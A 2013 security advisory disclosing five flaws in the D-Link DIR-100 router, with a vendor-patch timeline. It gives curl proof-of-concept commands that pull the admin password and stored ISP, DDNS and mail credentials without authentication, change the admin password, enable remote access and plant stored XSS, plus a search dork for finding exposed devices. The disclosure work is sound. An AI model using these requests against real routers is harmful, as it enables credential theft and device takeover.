Router D-Link DIR-100 Multiple Vulnerabilities

Credit: Felix Richter
Risk: High
Local: No
Remote: Yes

* Title: Router D-Link DIR-100 Multiple Vulnerabilities * Date: 2013-12-18 * Author: Felix Richter * Contact: * Vulnerable Software: * Patched Software: * Report Version: 2.0 * Report URL: * Vulnerable: D-Link DIR-100 * Hardware Revision: D1 * Software Version: 4.03B07 (from 2012-04-10) * CVE Numbers: * CWE-287 Authentication Issues: CVE-2013-7051 * CWE-255 Issues with Credential Management: CVE-2013-7052 * CWE-352 Cross-Site Request Forgery: CVE-2013-7053 * CWE-79 Cross-Site Scripting: CVE-2013-7054 * CWE-200 Information Disclosure: CVE-2013-7055 * Google Dork: "D-Link Systems" inurl:bsc_internet.htm D1 * State: Patched by Vendor * Link to Vendor Report: # Table of Contents 1. Background 2. Vulnerability Description 3. Technical Description 4. Severity and Remediation 5. Timeline # 1. Background The DIR-100 is designed for easy and robust connectivity among heterogeneous standards-based network devices. Computers can communicate directly with this router for automatic opening and closing of UDP/TCP ports to take full advantage of the security provided without sacrificing functionality of on-line applications. # 2 Vulnerability Description Multiple vulnerabilities have been found in the D-Link DIR-100 Ethernet Broadband Router Revision D (and potentially other devices sharing the affected firmware) that could allow a remote attacker: - Retrieve the Administrator password without authentication leading to authentication bypass [CWE-255] - Retrieve sensitive configuration paramters like the pppoe username and password without authentication [CWE-200] - Execute privileged Commands without authentication through a race condition leading to weak authentication enforcement [CWE-287] - Sending formatted request to a victim which then will execute arbitrary commands on the device (CSRF) [CWE-352] - Store arbitrary javascript code which will be executed when a victim accesses the administrator interface [CWE-79] CVE-Numbers for these vulnerabilities has not yet been assigned. # 3 Technical Description of the Vulnerabilities ## 3.0 The DIR-100 Web Interface and CGI The DIR-100 Web interface provides a cgi-script on `/cliget.cgi` for unauthenticated users and `/cli.cgi` for authenticated requests. list of features provided by each cgi-script can be retrieved by: curl '' # and respectively when authenticated curl '' ## 3.1 Authentication Bypass ### Description The administrator password is not protected in any way on the device, every attacker with access to the administrator interface which listens on port 80. For retrieving the Administrator password the request must not be authenticated. ### Proof of Concept The web interface provides two distinct ways to retrieve the adminstrator password: curl '$sys_user1' curl '' ## 3.2 Weak Authentication ### Description As soon as a user is logged into the administration interface, the cli CGI is `unlocked` and can be used by without authenticating before as the cgi-script does not check any other authentication parameters such as cookies or HTTP Parameters. The only access check is if the IP-Address is the same. ### Proof of Concept # open the router interface in a web browser and log in firefox '' # open a new terminal or another web-browser which is currently not logged # in and try to access curl '' # this request will be authenticated and it will not be redirected to the # login page. If no user is logged in, the request will be redirected to # the login ## 3.3 Retrieve sensitive information ### Description Besides retrieving the administrator password without authentication it is possible to retrieve other sensitive configuration from the device as well like the PPTP and poe Username and Password, as well as the configured dyndns username and password and configured mail log credentials when these parameters are configured. No authentication is requred. ### Proof of Concept curl '$ddns1' curl '$poe_user' curl '$poe_pass' curl '$pptp_user' curl '$pptp_pass' curl '$log_mail_user' curl '$log_mail_pwd' ## 3.4 Cross-Site Request Forgery (CSRF) ### Description CSRF attacks can be launched by sending a formatted request to a victim, then tricking the victim into loading the request (often automatically), which makes it appear that the request came from the victim. As an example the attacker could change the administrator password (see Proof of Concept code) and enable system remote access. ### Proof of Concept Changing the password for administrator can be done when the ip-address is authenticated: # Log into DIR-100 curl -X POST -d 'uname=admin&pws=password&login=Login' '' # Change password curl '$sys_user1=user=admin&pass=c%;$sys_passHash=4%25;commit' # enable remote console curl '$sys_remote_enable=1%25;$sys_remote_ip=;$sys_remote_port=80%25;commit' ## 3.5 Cross-Site Scripting (XSS) ### Description It is possible for an authenticated user to store information on the server which will not be checked on the server side for special characters which results in persistent Cross-Site Scripting Vulnerabilities. With this vulnerabilty the victim (administrator) will run javascript code in the context of the D-Link DIR-100. XSS is possible because only on the client side (javascript code) the input is filtered and validated, sending data directly to the CGI scripts. ### Proof of Concept # Log into DIR-100 curl -X POST -d 'uname=admin&pws=password&login=Login' '' # XSS in Static IP Address Tab curl '<script>alert(1)</script>%26ip=' # XSS in Scheduler tab curl '$sched2=schen=1%26time=0-60%26day=5%26desc=<script>alert(1)</script>%26use=0%26idx=2%26;commit' # 4 Severity and Remediation This exploits are considered very critical, especially when the feature of remote administration is activated on the system. Weak authentication, together with cross-site request forgery and authentication bypass can result in a full device compromise from an arbitrary website the victim is accessing, even if the device has remote administration deactivated on the internet-port. It is recommended to upgrade the router with the newest firmware of the D-Link DIR-100. # 5 Timeline 2013-09-13 - First Contact with D-Link Support 2013-09-19 - Sent Report 2013-10-14 - Request Status update, Response: Beta will be available mid October 2013-12-02 - Vendor publishes Firmware Update 2013-12-11 - Request CVE-IDs 2013-12-18 - Publish the report


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019,


Back to Top